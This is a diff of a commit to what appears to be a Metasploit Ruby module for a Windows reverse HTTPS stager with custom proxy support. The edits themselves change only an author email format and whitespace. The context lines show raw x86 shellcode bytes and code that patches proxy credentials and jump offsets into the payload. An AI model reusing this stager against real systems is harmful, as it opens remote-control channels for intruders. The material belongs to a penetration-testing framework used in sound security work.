@@ -19,7 +19,7 @@ def initialize(info = {})
19
19
super ( merge_info ( info ,
20
20
'Name' => 'Reverse HTTPS Stager with Support for Custom Proxy' ,
21
21
'Description' => 'Tunnel communication over HTTP using SSL, supports custom proxy' ,
22
- 'Author' => [ 'hdm' , 'corelanc0d3r <peter.ve@ corelan.be>' , 'amaloteaux' ] ,
22
+ 'Author' => [ 'hdm' , 'corelanc0d3r <peter.ve[at] corelan.be>' , 'amaloteaux' ] ,
23
23
'License' => MSF_LICENSE ,
24
24
'Platform' => 'win' ,
25
25
'Arch' => ARCH_X86 ,
@@ -57,7 +57,7 @@ def initialize(info = {})
57
57
"\xB5 \xA2 \x56 \xFF \xD5 \x6A \x40 \x68 \x00 \x10 \x00 \x00 \x68 \x00 \x00 \x40 " +
58
58
"\x00 \x57 \x68 \x58 \xA4 \x53 \xE5 \xFF \xD5 \x93 \x53 \x53 \x89 \xE7 \x57 \x68 " +
59
59
"\x00 \x20 \x00 \x00 \x53 \x56 \x68 \x12 \x96 \x89 \xE2 \xFF \xD5 \x85 \xC0 \x74 " +
60
- "\xCD \x8B \x07 \x01 \xC3 \x85 \xC0 \x75 \xE5 \x58 \xC3 \xE8 \xEC \xFE \xFF \xFF "
60
+ "\xCD \x8B \x07 \x01 \xC3 \x85 \xC0 \x75 \xE5 \x58 \xC3 \xE8 \xEC \xFE \xFF \xFF "
61
61
}
62
62
) )
63
63
@@ -105,7 +105,7 @@ def generate
105
105
if ( datastore [ 'PROXY_USERNAME' ] . nil? or datastore [ 'PROXY_USERNAME' ] . empty? ) or
106
106
( datastore [ 'PROXY_PASSWORD' ] . nil? or datastore [ 'PROXY_PASSWORD' ] . empty? ) or
107
107
datastore [ 'PROXY_TYPE' ] == 'SOCKS'
108
-
108
+
109
109
jmp_offset = p . index ( "PROXY_AUTH_STOP" ) + 15 - p . index ( "PROXY_AUTH_START" )
110
110
#remove auth code
111
111
p = p . gsub ( /PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i , "" )
@@ -127,7 +127,7 @@ def generate
127
127
p = p . gsub ( "PROXY_USERNAME" , datastore [ 'PROXY_USERNAME' ] )
128
128
p = p . gsub ( "PROXY_PASSWORD" , datastore [ 'PROXY_PASSWORD' ] )
129
129
end
130
- #patch jmp dbl_get_server_host
130
+ #patch jmp dbl_get_server_host
131
131
jmphost_loc = p . index ( "\x68 \x3a \x56 \x79 \xa7 \xff \xd5 " ) + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp
132
132
p [ jmphost_loc , 4 ] = [ p [ jmphost_loc , 4 ] . unpack ( "V" ) [ 0 ] - jmp_offset ] . pack ( "V" )
133
133
#patch call Internetopen
0 commit comments